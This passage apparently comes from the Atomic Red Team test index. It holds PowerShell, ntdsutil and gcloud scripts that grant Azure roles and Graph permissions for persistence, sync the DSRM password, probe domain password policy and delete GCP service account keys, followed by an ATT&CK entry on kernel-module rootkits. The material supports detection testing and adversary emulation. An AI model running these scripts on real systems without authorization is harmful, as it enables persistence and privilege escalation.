Get-AzRoleDefinition | where-object {$_.Name -eq \"#{role_name}\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nNew-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host \"Service Principal $($sp.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)\"\n" cleanup_command: "Import-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzAccount -Credential $Credential -ErrorAction Ignore\n\n$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq \"#{service_principal_name}\"}\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \"#{subscription}\"} \nif ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"#{role_name}\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nRemove-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host \"Service Principal $($sp.DisplayName) was removed from $($role.Name) role in subscriptions $($subscriptions.Name)\"\n" name: powershell elevation_required: false - name: Azure AD - adding permission to application auto_generated_guid: 94ea9cc3-81f9-4111-8dde-3fb54f36af4b description: | The adversaries want to add permission to newly created application. Application could be then used for persistence or for further operation in the attacked infrastructure. Permissions like AppRoleAssignment.ReadWrite.All or RoleManagement.ReadWrite.Directory in particular can be a valuable target for a threat actor. This technique will create a new app, with the provided name, and give it the provided permission. But if you prefer to add credentials to an existing app, replace in the code: "Get-AzureADApplication" instead of "New-AzureADServicePrincipal". The DirectoryRecommendations.Read.All permissions has been selected as the default. The account you use to run the PowerShell command should have Global Administrator/Application Administrator/Cloud Application Administrator role in your Azure AD. Detection hint - check Operation Name "Add app role assignment to service principal" in subscriptions Activity Logs. You can also take a look at the materials: https://learnsentinel.blog/2022/01/04/azuread-privesc-sentinel/ https://github.com/reprise99/Sentinel-Queries https://docs.google.com/presentation/d/1AWx1w0Xcq8ENvOmSjAJswEgEio-il09QWZlGg9PbHqE/edit#slide=id.g10460eb209c_0_2766 https://gist.github.com/andyrobbins/7c3dd62e6ed8678c97df9565ff3523fb supported_platforms: - azure-ad input_arguments: username: description: Azure AD username type: string default: jonh@contoso.com password: description: Azure AD password type: string default: p4sswd application_name: description: Name of the targeted application that will be created type: string default: test_app application_permission: description: Permission from Microsoft Graph Resource API that will be added to application type: string default: DirectoryRecommendations.Read.All dependencies: - description: 'AzureAD module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name AzureAD -Force ' executor: command: "Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$aadApplication = New-AzureADApplication -DisplayName \"#{application_name}\"\n$servicePrincipal = New-AzureADServicePrincipal -AppId $aadApplication.AppId\n#$aadApplication = Get-AzureADApplication -Filter \"DisplayName eq '#{application_name}'\"\n\n#Get Service Principal of Microsoft Graph Resource API \n$graphSP = Get-AzureADServicePrincipal -Filter \"DisplayName eq 'Microsoft Graph'\"\n\n#Initialize RequiredResourceAccess for Microsoft Graph Resource API \n$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess\n$requiredGraphAccess.ResourceAppId = $graphSP.AppId\n$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.ResourceAccess]\n\n#Set Application Permissions\n$ApplicationPermissions = @('#{application_permission}')\n\n$reqPermission = $graphSP.AppRoles | Where-Object {$_.Value -eq $ApplicationPermissions}\nif($reqPermission)\n{\n$resourceAccess = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess\n$resourceAccess.Type = \"Role\"\n$resourceAccess.Id = $reqPermission.Id \n#Add required app permission\n$requiredGraphAccess.ResourceAccess.Add($resourceAccess)\n}\nelse\n{\nWrite-Host \"App permission $permission not found in the Graph Resource API\" -ForegroundColor Red\n}\n\n#Add required resource accesses\n$requiredResourcesAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.RequiredResourceAccess]\n$requiredResourcesAccess.Add($requiredGraphAccess)\n\n#Set permissions in existing Azure AD App\nSet-AzureADApplication -ObjectId $aadApplication.ObjectId -RequiredResourceAccess $requiredResourcesAccess\n\n$servicePrincipal = Get-AzureADServicePrincipal -Filter \"AppId eq '$($aadApplication.AppId)'\"\n\nNew-AzureADServiceAppRoleAssignment -ObjectId $servicePrincipal.ObjectId -PrincipalId $servicePrincipal.ObjectId -ResourceId $graphSP.ObjectId -Id $reqPermission.Id\n" cleanup_command: | Import-Module -Name AzureAD $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword Connect-AzureAD -Credential $Credential $aadApplication = @(Get-AzureADApplication -Filter "DisplayName eq '#{application_name}'") If ($aadApplication.Count -eq 0) { Write-Host "App not found: cannot delete it" exit } ElseIf ($aadApplication.Count -gt 1) { Write-Host "Found several app with name '#{application_name}': one is likely the one this technique created, but as a precaution, none will be deleted. Manual cleanup is required." exit } Else { Remove-AzureADApplication -ObjectId $aadApplication[0].ObjectId Write-Host "Successfully deleted app" } name: powershell elevation_required: false - name: Password Change on Directory Service Restore Mode (DSRM) Account auto_generated_guid: d5b886d9-d1c7-4b6e-a7b0-460041bf2823 description: 'Change the password on the Directory Service Restore Mode (DSRM) account using ntdsutil by syncing to existing account ' supported_platforms: - windows input_arguments: sync_account: description: Account to sync password from type: string default: "%username%" executor: name: command_prompt elevation_required: true command: 'ntdsutil "set dsrm password" "sync from domain account #{sync_account}" "q" "q" ' - name: 'Domain Password Policy Check: Short Password' auto_generated_guid: fc5f9414-bd67-4f5f-a08e-e5381e29cbd1 description: | Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password. If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the password policy will likely prevent you from setting the password back to what it was. supported_platforms: - windows input_arguments: new_password: description: The password to set for the current domain user (default value is 7 characters) type: string default: Uplow-1 cred_file: description: A file containing the password of the current user type: path default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt" dependencies: - description: 'Password for current user must be stored in a credential file ' prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null $cred = Get-Credential -UserName $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt" $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}" executor: name: powershell command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"#{new_password}\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n \ $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n \ $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to #{new_password}\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"#{new_password}\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n" - name: 'Domain Password Policy Check: No Number in Password' auto_generated_guid: 68190529-069b-4ffc-a942-919704158065 description: "Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n" supported_platforms: - windows input_arguments: new_password: description: The password to set for the current domain user (default is long and has upper and lower case and special character but no number) type: string default: UpperLowerLong-special cred_file: description: A file containing the password of the current user type: path default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt" dependencies: - description: 'Password for current user must be stored in a credential file ' prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null $cred = Get-Credential -UserName $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt" $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}" executor: name: powershell command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"#{new_password}\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n \ $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n \ $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to #{new_password}\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"#{new_password}\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n" - name: 'Domain Password Policy Check: No Special Character in Password' auto_generated_guid: 7d984ef2-2db2-4cec-b090-e637e1698f61 description: "Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n" supported_platforms: - windows input_arguments: new_password: description: The password to set for the current domain user (default is long and has upper and lower case and number but no special character) type: string default: UpperLowerLong333noSpecialChar cred_file: description: A file containing the password of the current user type: path default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt" dependencies: - description: 'Password for current user must be stored in a credential file ' prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null $cred = Get-Credential -UserName $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt" $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}" executor: name: powershell command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"#{new_password}\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n \ $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n \ $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to #{new_password}\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"#{new_password}\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n" - name: 'Domain Password Policy Check: No Uppercase Character in Password' auto_generated_guid: b299c120-44a7-4d68-b8e2-8ba5a28511ec description: "Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n" supported_platforms: - windows input_arguments: new_password: description: The password to set for the current domain user (default is long and has and lower case and special character and number but no uppercase) type: string default: lower-long-special-333 cred_file: description: A file containing the password of the current user type: path default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt" dependencies: - description: 'Password for current user must be stored in a credential file ' prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null $cred = Get-Credential -UserName $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt" $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}" executor: name: powershell command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"#{new_password}\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n \ $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n \ $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to #{new_password}\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"#{new_password}\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n" - name: 'Domain Password Policy Check: No Lowercase Character in Password' auto_generated_guid: 945da11e-977e-4dab-85d2-f394d03c5887 description: "Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n" supported_platforms: - windows input_arguments: new_password: description: The password to set for the current domain user (default is long and has and upper case and special character and number but no lowercase) type: string default: UPPER-LONG-SPECIAL-333 cred_file: description: A file containing the password of the current user type: path default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt" dependencies: - description: 'Password for current user must be stored in a credential file ' prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null $cred = Get-Credential -UserName $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt" $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}" executor: name: powershell command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"#{new_password}\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n \ $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n \ $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to #{new_password}\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"#{new_password}\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n" - name: 'Domain Password Policy Check: Only Two Character Classes' auto_generated_guid: 784d1349-5a26-4d20-af5e-d6af53bae460 description: "Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n" supported_platforms: - windows input_arguments: new_password: description: The password to set for the current domain user (default has only upper and lower case characters) type: string default: onlyUPandLowChars cred_file: description: A file containing the password of the current user type: path default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt" dependencies: - description: 'Password for current user must be stored in a credential file ' prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null $cred = Get-Credential -UserName $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt" $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}" executor: name: powershell command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"#{new_password}\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n \ $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n \ $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to #{new_password}\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"#{new_password}\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n" - name: 'Domain Password Policy Check: Common Password Use' auto_generated_guid: 81959d03-c51f-49a1-bb24-23f1ec885578 description: "Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n" supported_platforms: - windows input_arguments: new_password: description: The password to set for the current domain user (default is Season and current year combo) type: string default: Spring$((Get-Date).Year)! cred_file: description: A file containing the password of the current user type: path default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt" dependencies: - description: 'Password for current user must be stored in a credential file ' prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null $cred = Get-Credential -UserName $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt" $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}" executor: name: powershell command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"#{new_password}\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n \ $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n \ $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to #{new_password}\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"#{new_password}\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n" - name: GCP - Delete Service Account Key auto_generated_guid: 7ece1dea-49f1-4d62-bdcc-5801e3292510 description: "This Atomic will: \n - Create a service account\n - Create a service account key, \n - Store the result of retrieving a single key for that service account as a variable\n - Pass that variable for deletion\n \ - Delete the service account\n\nThe idea for this Atomic came from a Rule published by the Elastic team.\n\nIdentifies the deletion of an Identity and Access Management (IAM) service account key in Google Cloud Platform (GCP).\nEach service account is associated with two sets of public/private RSA key pairs that are used to authenticate. \nIf a key is deleted, the application will no longer be able to access Google Cloud resources using that key. A security best practice is to rotate your service account keys regularly.\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml\n" supported_platforms: - iaas:gcp input_arguments: project_id: description: ID of the GCP Project you to execute the command against. type: string default: atomic-test-1 service_name: description: The name of the service account. type: string default: atomic-service-account executor: name: sh elevation_required: false command: | gcloud config set project #{project_id} KEY=`gcloud iam service-accounts keys list --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --format="value(KEY_ID)" --limit=1` gcloud iam service-accounts keys delete $KEY --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --quiet cleanup_command: | cd "$PathToAtomicsFolder/T1098/src/T1098-17/" terraform state rm google_service_account_key.key terraform destroy -auto-approve dependency_executor_name: sh dependencies: - description: 'Requires gcloud ' prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install" ' - description: "Check if user is logged in \n" prereq_command: 'gcloud config get-value account ' get_prereq_command: 'gcloud auth login --no-launch-browser ' - description: 'Check if terraform is installed. ' prereq_command: 'terraform version ' get_prereq_command: 'echo Please install the terraform. ' - description: 'Create dependency resources using terraform ' prereq_command: 'stat "$PathToAtomicsFolder/T1098/src/T1098-17/terraform.tfstate" ' get_prereq_command: |- cd "$PathToAtomicsFolder/T1098/src/T1098-17/" terraform init terraform apply -auto-approve T1547.006: technique: x_mitre_platforms: - macOS - Linux x_mitre_domains: - enterprise-attack x_mitre_contributors: - Wayne Silva, F-Secure Countercept - Anastasios Pingios - Jeremy Galloway - Red Canary - Eric Kaiser @ideologysec object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6 created: '2020-01-24T17:42:23.339Z' x_mitre_version: '1.3' external_references: - source_name: mitre-attack external_id: T1547.006 url: https://attack.mitre.org/techniques/T1547/006 - source_name: Apple Developer Configuration Profile url: https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf description: Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021. - source_name: Apple Kernel Extension Deprecation url: https://developer.apple.com/support/kernel-extensions/ description: Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020. - source_name: System and kernel extensions in macOS url: https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web description: Apple. (n.d.). System and kernel extensions in macOS. Retrieved March 31, 2022. - source_name: GitHub Reptile url: https://github.com/f0rb1dd3n/Reptile description: Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018. - source_name: Volatility Phalanx2 url: https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html description: 'Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.' - source_name: iDefense Rootkit Overview url: http://www.megasecurity.org/papers/Rootkits.pdf description: Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018. - source_name: Linux Loadable Kernel Module Insert and Remove LKMs url: http://tldp.org/HOWTO/Module-HOWTO/x197.html description: Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018. - source_name: CrowdStrike Linux Rootkit url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017. - source_name: GitHub Diamorphine url: https://github.com/m0nad/Diamorphine description: Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018. - source_name: Securelist Ventir url: https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/ description: 'Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.' - source_name: User Approved Kernel Extension Pike’s url: https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/ description: Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading…. Retrieved September 23, 2021. - source_name: Linux Kernel Module Programming Guide url: http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html description: Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018. - source_name: Linux Kernel Programming url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018. - source_name: Trend Micro Skidmap url: https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/ description: Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020. - source_name: Purves Kextpocalypse 2 url: https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/ description: Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021. - source_name: RSAC 2015 San Francisco Patrick Wardle url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf description: Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018. - source_name: Synack Secure Kernel Extension Broken url: https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/ description: Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel Extension Loading’ is Broken. Retrieved April 6, 2018. - source_name: Wikipedia Loadable Kernel Module url: https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux description: Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018. x_mitre_deprecated: false revoked: false description: |- Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)  When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview) Kernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS) Since macOS Catalina 10.15, kernel extensions have been deprecated in favor of System 